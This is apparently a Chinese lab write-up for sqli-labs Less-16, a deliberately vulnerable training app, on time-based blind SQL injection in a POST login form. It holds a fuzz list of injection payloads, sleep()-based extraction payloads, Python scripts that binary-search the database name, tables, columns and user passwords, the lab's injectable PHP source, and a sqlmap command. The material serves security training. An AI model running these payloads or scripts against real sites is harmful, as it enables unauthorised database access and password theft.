sqli-lab-less16

2023-10-27

sqli-lab-less16

一、靶标地址

Less-16 POST-Blind-Time Based - Double quotes
#双引号时间盲注
http://127.0.0.1/sqli/less-16/

二、漏洞探测

输入admin admin
得到post数据包
uname=admin&passwd=admin&submit=Submit
#无任何回显

猜测业务逻辑流程应该是根据输入的username、password去查询然后进行比对
uname=1' or sleep(3) #&passwd=2&submit=Submit
因为1不是数据库内容会显示false,1=1为true,用or会显示为true

#结果超过3秒
推测语句为select username,password from users where username= ("$uname") and password=("$passwd") limit 0,1;
fuzz.txt
' or sleep(3) #
" or sleep(3) #
') or sleep(3) #
") or sleep(3) # 41秒
')) or sleep(3) #
")) or sleep(3) #
import requests
import time

url="http://192.168.128.159/sqli/less-16/index.php"
header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
	'Accept-Language': 'en-US,en;q=0.9',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
file = open("./16fuzz.txt","r")
payloads = file.read().splitlines()

for i in range(len(payloads)):
    print("==============This is "+ str(i) + payloads[i]+"==============")
    subpayload = "1" + payloads[i]
    payload = {
            "uname" : subpayload,
            "passwd" : "1"
    }
    start = time.time()
    response=requests.post(url,headers=header,data=payload)
    end = time.time()
    if end - start > 3:
        print(end - start)
        print(response.text)
    else:
        print(end - start)

三、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];

	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname."\n");
	fwrite($fp,'Password:'.$passwd."\n");
	fclose($fp);


	// connectivity
	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
  		//echo '<font color= "#0000ff">';	
  		
  		echo "<br>";
		echo '<font color= "#FFFF00" font size = 4>';
		//echo " You Have successfully logged in " ;
		echo '<font size="3" color="#0000ff">';	
		echo "<br>";
		//echo 'Your Login name:'. $row['username'];
		echo "<br>";
		//echo 'Your Password:' .$row['password'];
		echo "<br>";
		echo "</font>";#成功无回显
		echo "<br>";
		echo "<br>";
		echo '<img src="../images/flag.jpg"  />';	
		
  		echo "</font>";
  	}
	else  
	{
		echo '<font color= "#0000ff" font size="3">';
		echo "</br>";
		echo "</br>";
		//echo "Try again looser";#报错无回显
		//print_r(mysql_error());
		echo "</br>";
		echo "</br>";
		echo "</br>";
		echo '<img src="../images/slap.jpg"  />';	
		echo "</font>";  
	}
}

?>

四、黑盒与白盒测试

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

时间盲注常用的函数:
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n)      将程序挂起一段时间 n单位为秒
left(a,b)     从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

#爆破的思路是
#数据库版本字符串长度
uname=1") or if(length(version())=5,sleep(5),0) #&passwd=admin&submit=Submit

#数据库版本
uname=1") or if(left(version(),1)=5,sleep(5),0) #&passwd=admin&submit=Submit

#数据库字符串长度
uname=1") or if(length(database())=5,sleep(5),0) #&passwd=admin&submit=Submit

#数据库
#测试数据库名第一位是否为s
uname=1") or if(left(database(),1)=s,sleep(5),0) #&passwd=admin&submit=Submit

#测试数据库名第一位是否为大于a
uname=1") or if(left(database(),1)>'a',sleep(5),0) #&passwd=admin&submit=Submit
#测试数据库名前两位是否为大于sa
uname=1") or if(left(database(),2)>'sa',sleep(5)1,0) #&passwd=admin&submit=Submit

#测试数据库的第一位是否大于80
uname=1") or if(ascii(substr(database(),1,1)) >80,sleep(5),0) #&passwd=admin&submit=Submit
#测试数据库的第二位是否大于80
uname=1") or if(ascii(substr(database(),2,1)) >80,sleep(5),0) #&passwd=admin&submit=Submit

#数据表个数#数据表名长度#数据表名
#通过变换xyz的值来判断
uname=1") or if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)="z",sleep(5),0) #&passwd=admin&submit=Submit

#字段个数#字段名长度#字段名
#通过变换xyz的值来判断
uname=1") or if(left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z",sleep(5),0) #&passwd=admin&submit=Submit

#字段的值
uname=1") or if(left((select username from users limit x,1),y)="",sleep(5),0) #&passwd=admin&submit=Submit
uname=1") or if(left((select password from users limit x,1),y)="",sleep(5),0) #&passwd=admin&submit=Submit

五、脚本撰写

#二分法爆破
#脚本并非爆破所有表,而是根据目标一步一步获得以减少流量
#爆破数据库名长度和数据库名
import requests
import time

url="http://192.168.128.159/sqli/less-16/index.php"
header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
	'Accept-Language': 'en-US,en;q=0.9',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}

def getdbs():#获取数据库名
    global current_dbs_name
    current_dbs_name = ""
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            subpayload = "1\") or if(ascii(substr(database(),{0},1)) >{1},sleep(3),0) #".format(i,mid)
            payload = {
                    "uname" : subpayload,
                    "passwd" : "admin"
            }
            start = time.time()
            response=requests.post(url,headers=header,data=payload)
            end = time.time()
            if end - start > 3:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        current_dbs_name += chr(mid)
    print("The database is "+current_dbs_name)


def gettable(): #获取表名
    global tables_name
    tables_name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #已知数据库名security
            subpayload = "1\") or if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),{0},1)) >{1},sleep(3),0) #".format(i,mid)
            payload = {
                    "uname" : subpayload,
                    "passwd" : "admin"
            }
            start = time.time()
            response=requests.post(url,headers=header,data=payload)
            end = time.time()
            if end - start > 3:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        tables_name += chr(mid)
    print("The tables is "+tables_name)

def getcolumn(): #获取字段名
    global column_name
    column_name=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #已知数据表名users
            subpayload = "1\") or if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{0},1)) >{1},sleep(3),0) #".format(i,mid)
            payload = {
                    "uname" : subpayload,
                    "passwd" : "admin"
            }
            start = time.time()
            response=requests.post(url,headers=header,data=payload)
            end = time.time()
            if end - start > 3:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        column_name += chr(mid)
    print("The column_name is "+column_name)

def getcolumn_value(): #获取字段值
    global column_value
    column_value=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            #已知字段名password
			#select(group_concat(password))from(users);
			#select group_concat(password) from users;
            subpayload = "1\") or if(ascii(substr((select(group_concat(password))from(users)),{0},1)) >{1},sleep(3),0) #".format(i,mid)
            payload = {
                    "uname" : subpayload,
                    "passwd" : "admin"
            }
            start = time.time()
            response=requests.post(url,headers=header,data=payload)
            end = time.time()
            if end - start > 3:
                low = mid+1
            else:
                high = mid
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:#以此判断长度
            break
        column_value += chr(mid)
    print("The column_value is "+column_value)

getdbs()
gettable()
getcolumn()
getcolumn_value()

六、sqlmap

sqlmap -u "http://192.168.128.159/sqli/Less-16/" --data "uname=1&passwd=1&submit=Submit" --batch

#未探测出 时间盲注会存在网络延迟的原因

七、总结

1、时间盲注会存在网络延迟的原因
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-lab-less16 的相关文章

  • MySQL 子查询返回多行

    我正在执行这个查询 SELECT voterfile county Name voterfile precienct PREC ID voterfile precienct Name COUNT SELECT voterfile voter
  • PDO fetch() 失败时会抛出异常吗?

    有没有方法PDO语句 fetch http php net manual en pdostatement fetch php如果 PDO 错误报告系统设置为抛出异常 则在失败时抛出异常 例如 如果我设置 PDO ATTR ERRMODE g
  • MySQL 触发器和 SUM()

    我有两张桌子 学生桌和家庭桌 在学生中 我有列 st venue 和total venue 家里我有收入 Total Revenue 是学生 st 收入与家庭收入之和 其中 family id student student id stud
  • Spark SQL/Hive 查询通过 Join 永远持续下去

    所以我正在做一些应该很简单的事情 但显然它不在 Spark SQL 中 如果我在 MySQL 中运行以下查询 查询将在不到一秒的时间内完成 SELECT ua address id FROM user u inner join user a
  • 从存储过程中的动态 SQL 获取结果

    我正在编写一个存储过程 需要在过程中动态构造 SQL 语句以引用传入的表名称 我需要让这个 SQL 语句返回一个结果 然后我可以在整个过程的其余部分中使用该结果 我尝试过使用临时表和所有内容 但我不断收到一条消息 提示我需要声明变量等 例如
  • RMySQL fetch - 找不到继承的方法

    使用 RMySQL 我想将数据从数据库加载到 R 中的数据帧中 为此 我使用以下代码 R连接数据库 con lt dbConnect MySQL user root password password dbname prediction h
  • SQL 大表中的随机行(使用 where 子句)

    我有一个网站 人们可以在其中对汽车进行投票 向用户展示 4 辆汽车 他 她可以投票选出他们最喜欢的汽车 桌子cars有重要的列 car id int 10 not auto increment so has gaps views int 7
  • PreparedStatement setnull方法中Types.INTEGER和Types.NULL的区别

    下面的说法有什么区别 PreparedStatement setNull 1 java sql Types NULL and PreparedStatement setNull 1 java sql Types INTEGER 第一个指示驱
  • Sql:计算随时间的增长

    我几周前发布了这个问题 但我认为我没有清楚地提出这个问题 因为我得到的答案不是我想要的 我认为最好重新开始 我正在尝试查询数据库以检索一段时间内唯一条目的数量 数据看起来像这样 Day UserID 1 A 1 B 2 B 3 A 4 B
  • SQL Server 使用通配符加入并在第一个匹配处停止

    IF OBJECT ID tempdb TABLE1 IS NOT NULL DROP TABLE TABLE1 IF OBJECT ID tempdb TABLE2 IS NOT NULL DROP TABLE TABLE2 CREATE
  • 本地数据库缓存的最佳实践?

    我正在开发一个应用程序 该应用程序的部分内容依赖于 MySQL 数据库 在某些情况下 应用程序将在互联网连接 UMTS 有限的环境中运行 特别是延迟较高的环境 应用程序的用户能够登录 并且应用程序用户界面的大部分内容都是从 MySQL 数据
  • 基本表创建 fpdf

    我找不到使用 fpdf 制作表格并从 mysql 数据库获取数据的合适教程 我只是想知道如何创建一个 我在网上尝试示例时遇到了很多错误 例如 我有 名字 中间名 姓氏 年龄 和 电子邮件 列 如何使用 fpdf 创建表格并回显数据库中的条目
  • PHP 的 PDO 可以限制为单个查询吗?

    PHP 的 PDO 允许通过 query 方法或作为准备好的语句同时执行多个查询 以下两个示例均有效 Two SQL queries query SELECT FROM table DROP table Execute via query
  • Quartz.NET 设置 MisfireInstruction

    我正在使用 Quartz NET 在 C 中工作 并且在 CronTrigger 上设置失火指令时遇到问题 我正在运行安装了 Quartz DB 的 SQL 后端 我有以下代码 可以很好地创建作业和运行调度程序 IScheduler sch
  • 数据表 - 服务器端处理 - 数据库列合并

    我目前正在使用 DataTables 1 10 5 服务器端处理功能 http www datatables net examples data sources server side html http www datatables ne
  • 从数据库 MYSQL 和 Codeigniter 获取信息

    如果你们需要其他信息 上一个问题就在这里 从数据库中获取信息 https stackoverflow com questions 13336744 fetching information from the database 另一个更新 尽
  • 更新plpgsql中触发器函数中的多列

    给出以下架构 create table account type a id SERIAL UNIQUE PRIMARY KEY some column VARCHAR create table account type b id SERIA
  • 在存储过程结束时显式删除本地临时表有什么好处?

    考虑以下伪 T SQL 代码 由存储过程执行 CREATE TABLE localTable
  • SQL:查找每个跑步者跑步之间的平均天数

    因此 如果我们给出下表 runner ran Carol 2011 02 01 Alice 2011 02 01 Bob 2011 02 01 Carol 2011 02 02 Bob 2011 02 02 Bob 2011 02 03 B
  • 从一个sql服务器选择到另一个sql服务器?

    我想将一台服务器 Data Old S1 中的一个表 T1 在 DB1 中 中的数据选择到另一台服务器 Data Latest S2 中的另一个表 T2 在 DB2 中 中的数据 我怎样才能做到这一点 请注意服务器的命名方式 查询也应该考虑

随机推荐

  • 面试常见的八股文记录

    本文是记录平常看到的面试八股文问题 其问题主要是从leetcode中的讨论区整理出来的 答案大多是参考一些大佬讲解来整理的 在此进行整理 方便大家换工作时来熟悉下常见的八股文问题 大家可以看看 也可以讨论下 2021 05 10 微信 后端
  • 编译原理结课感言及课程设计LR(1)语法分析器

    经过一学期的学习编译原理考试也是成功结束 学校安排的课程设计也圆满完成 编译原理我复习的资料写了很多最终也没有辜负努力吧成功拿到了A 的成绩 课程设计抽取到的题目是LR 1 语法分析器 刚开始对我来说确实不知道从哪里下手 最后也是通过自己查
  • 华为云云耀云服务器L实例评测|在Docker环境下部署Statping服务器监控工具

    华为云云耀云服务器L实例评测 在Docker环境下部署Statping服务器监控工具 一 前言 1 1 云耀云服务器L实例简介 1 2 Statping简介 1 3 Statping特点 二 本次实践介绍 2 1 本次实践简介 2 2 本次
  • JDBC DAO详细思路

  • [python]——python通过kepserver 连接plc

    使用python通过opc ua连接plc 使用的软件 KEPServerEX 6 kepserverex中可以创建虚拟plc kepserver设置 操作步骤 安全策略设置 右键KepServer主窗口中项目 选择属性 点击OPC UA
  • mysqldump源码解读 - 到底是怎样dump的?

    环境 8 0 27 MySQL Community Server CentOS7 general log general log 记录了 MySQL 服务器响应的所有 SQL 语句信息 该日志默认是关闭的 首先开启 general log
  • Ubuntu安装及使用Docker

    文章目录 1 Docker的安装 1 1 准备工作 1 2 卸载旧版本 1 3 安装Docker 1 3 1 安装 https 相关的软件包 1 3 2 设置apt仓库地址 1 3 3 安装 Docker 软件 1 3 4 检查docker
  • Java调用ElasticSearch自定义的评分插件

    之前 使用phash做了一个基于ElasticSearch的图片相似性的项目 需要自己写一个评分插件 在kibana中用es的语句查询 没有问题 现在要集成到java项目中 kibana中查询语句 GET test index search
  • 解决虚幻引擎 SetupAndroid.bat运行报错:Unable to locate local Android SDK location. Did you run Android Studio?

    版主最近在使用unreal4 27按官方ue4文档指示安装android环境打包项目到安卓平台时遇到了SetupAndroid bat运行报错 Unable to locate local Android SDK location Did
  • 安装sva遇到的问题

    library sva 载入需要的程辑包 genefilter Error package or namespace load failed for genefilter in loadNamespace i c lib loc libPa
  • 【中阳期货】GPT-4正在改进自己,超强进化

    GPT是一种预训练语言模型 由OpenAI研发 如果你希望快速了解GPT 可以按照以下步骤进行 了解预训练语言模型 预训练语言模型是一种人工智能技术 可以通过大量语言数据的训练 自动学习语言的规律和语义 GPT就是其中的一种 理解GPT的基
  • SqlServer时间类型常用技巧

    本文主要对SqlServer时间类型常用技巧做一个小小的总结 主要在于时间与字符串的转换处理 一 SqlServer常用的时间类型 1 sqlserver常见的时间类型有DATE DATETIME TIME TIMESTAMP四种 其中TI
  • 易观千帆

    易观 2023年4月证券服务应用活跃人数13924 88万人 相较上月 环比下降1 46 同比增长3 64 2023年4月自营类证券服务应用Top10 活跃人数6144 02万人 环比下降0 01 2023年4月第三方证券服务应用Top10
  • 高效的浏览器快捷键,办公上网必备

    Ctrl N 打开一个新的浏览器窗口 Ctrl T 打开一个新的标签页 Ctrl Tab 切换到下一个标签页 Ctrl Shift Tab 切换到上一个标签页 Ctrl W 关闭当前标签页 Ctrl Shift W 关闭当前窗口 Alt F
  • C++ 拷贝(复制)构造函数详解

    拷贝构造函数 特殊的构造函数 用户未定义拷贝函数的情况下 系统自动创建一个隐式的默认拷贝构造函数 它将已经存在的对象中的数据成员逐个的拷贝到新创建的对象中 自定义拷贝构造函数格式 类名 const 类名 引用名 会调用拷贝函数的三种情况 1
  • 免费下载文档:给你介绍几个实用的免费下载网址

    文档不会写 想要去网上下载模板看看 怎么都要会员啊 下面给你介绍几个免费下载文档的地方 1 嗨文库 嗨文库官网为您提供文库文档下载服务 免费下载文库文档 在线解析文库文档资料 从此 下载百度文库文档变得简单 从百度文库里复制想要下载文档的链
  • 使用cpolar发布群晖NAS上的网页(1)

    系列文章 使用cpolar发布群晖NAS上的网页 1 使用cpolar发布群晖NAS上的网页 2 使用cpolar发布群晖NAS上的网页 3 群晖NAS作为一款简便易用的小型数据中心 已经在很多家庭和中小型企业中得到了应用 作为数据中心 群
  • 菜单设计

    源代码 include
  • WebUploader结合SparkMd5实现文件秒传

    秒传的实现原理 文件秒传的实现原理其实就是在文件上传前 把内容读取出来 算出 md5 值 然后通过 ajax 与服务端进行验证 然后根据结果选择继续上传还是跳过上传 js spark md5 虽然百度的WebUploader也能够计算文件M
  • sqli-lab-less16

    sqli lab less16 一 靶标地址 Less 16 POST Blind Time Based Double quotes 双引号时间盲注 http 127 0 0 1 sqli less 16 二 漏洞探测 输入admin ad